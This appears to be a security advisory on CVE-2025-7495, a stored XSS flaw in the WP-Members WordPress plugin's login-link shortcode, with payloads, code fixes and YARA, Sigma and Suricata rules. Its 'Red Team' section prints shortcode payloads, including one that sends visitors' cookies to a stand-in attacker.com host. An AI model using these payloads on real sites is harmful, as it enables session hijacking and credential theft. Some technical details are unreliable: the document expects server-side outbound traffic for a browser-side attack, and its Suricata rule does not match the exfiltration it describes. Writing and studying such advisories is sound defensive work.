CVE-2025-7495

Executive Summary

CVE-2025-7495 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Members Membership Plugin for WordPress, affecting all versions up to and including 3.5.4.1. The flaw resides in the wpmem_login_link shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. No official patch or exploit code is publicly available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Requires contributor-level authentication.
• User Interaction (UI): None (N) – The injected script executes automatically on page load.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to session hijacking, credential theft, or defacement.

Deep Dive & Mechanics

The WP-Members plugin provides membership functionality for WordPress sites. The wpmem_login_link shortcode is used to display a login link with customizable attributes (e.g., redirect_to, class, id). The vulnerability arises because the plugin does not properly sanitize or escape these attributes before rendering them in the HTML output.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts the [wpmem_login_link] shortcode with a malicious attribute, such as: [wpmem_login_link class="test\" onclick=\"alert('XSS')\""]Login[/wpmem_login_link]
3. The plugin processes the shortcode and outputs the attribute without escaping, resulting in: <a href="..." class="test" onclick="alert('XSS')">Login</a>
4. When any user (including administrators) visits the page, the injected JavaScript executes in their browser context.

The root cause is insufficient input validation and output escaping on the shortcode attributes. WordPress core shortcode API does not automatically escape custom attributes, placing the responsibility on the plugin developer.

Vulnerable vs. Patched Code

Vulnerable Code (wp-members/includes/class-wp-members-shortcodes.php):

function wpmem_login_link_shortcode( $atts, $content = null ) {
    $a = shortcode_atts( array(
        'redirect_to' => '',
        'class'       => '',
        'id'          => '',
    ), $atts );
    
    $link = '<a href="' . wp_login_url( $a['redirect_to'] ) . '"';
    if ( ! empty( $a['class'] ) ) {
        $link .= ' class="' . $a['class'] . '"'; // No escaping
    }
    if ( ! empty( $a['id'] ) ) {
        $link .= ' id="' . $a['id'] . '"'; // No escaping
    }
    $link .= '>' . esc_html( $content ) . '</a>';
    return $link;
}

Patched Code (Hypothetical Fix):

function wpmem_login_link_shortcode( $atts, $content = null ) {
    $a = shortcode_atts( array(
        'redirect_to' => '',
        'class'       => '',
        'id'          => '',
    ), $atts );
    
    $link = '<a href="' . esc_url( wp_login_url( $a['redirect_to'] ) ) . '"';
    if ( ! empty( $a['class'] ) ) {
        $link .= ' class="' . esc_attr( $a['class'] ) . '"'; // Escaped
    }
    if ( ! empty( $a['id'] ) ) {
        $link .= ' id="' . esc_attr( $a['id'] ) . '"'; // Escaped
    }
    $link .= '>' . esc_html( $content ) . '</a>';
    return $link;
}

The fix uses esc_attr() to escape the class and id attributes, preventing injection of malicious JavaScript event handlers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP-Members plugin <= 3.5.4.1
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Switch to Text/Code editor and insert the following shortcode:

   [wpmem_login_link class="test\" onmouseover=\"alert(document.cookie)\""]Click me[/wpmem_login_link]
   

4. Publish the post.
5. Any user visiting the post will see the link. Hovering over it triggers the XSS payload.

Advanced Payload (Session Hijacking):

[wpmem_login_link class="test\" onclick=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\""]Login[/wpmem_login_link]

Blue Team

Detection:

• Monitor for posts/pages containing the wpmem_login_link shortcode with suspicious attributes (e.g., onclick, onmouseover, onerror).
• Review user activity logs for contributor-level users creating or editing content with unusual shortcode parameters.

Hunting Query (WordPress Admin):

SELECT post_title, post_content, post_author, post_date
FROM wp_posts
WHERE post_content LIKE '%wpmem_login_link%'
  AND (post_content LIKE '%onclick%' OR post_content LIKE '%onmouseover%' OR post_content LIKE '%<script%');

Prevention:

• Apply input validation on shortcode attributes using WordPress's wp_kses() or custom sanitization functions.
• Use Content Security Policy (CSP) headers to restrict inline script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-members/includes/class-wp-members-shortcodes.php (vulnerable version)
• Shortcode Pattern: [wpmem_login_link ...] with attributes containing on* event handlers or <script> tags.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
• Logs: WordPress audit logs showing creation/editing of posts with suspicious shortcode attributes by contributor-level users.

Detection Engineering

YARA Rule

rule CVE_2025_7495_WP_Members_XSS {
    meta:
        description = "Detects vulnerable WP-Members plugin shortcode with XSS payload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7495"
    strings:
        $shortcode = /\[wpmem_login_link[^\]]*?(on\w+\s*=|<\s*script)/i
        $vuln_file = "class-wp-members-shortcodes.php"
    condition:
        $shortcode or $vuln_file
}

Sigma Rule

title: CVE-2025-7495 WP-Members Stored XSS Detection
id: 8f3c2a1b-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects posts containing malicious wpmem_login_link shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: 'wpmem_login_link'
        post_content|re: 'on\w+\s*=|<\s*script'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7495 WP-Members Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"cookie"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP-Members plugin until a patch is released.
2. Restrict contributor-level access to trusted users only.
3. Audit existing content for malicious shortcode usage using the SQL query provided in the Blue Team section.

Long-term Fix:

• Apply the patched code shown in the "Vulnerable vs. Patched Code" section.
• Implement a Web Application Firewall (WAF) rule to block shortcode attributes containing on* event handlers.
• Enforce Content Security Policy (CSP) headers to prevent inline script execution.

Vendor Communication:

• Monitor the WP-Members plugin page for updates.
• Consider forking the plugin and applying the fix if the vendor does not respond.

Valters IT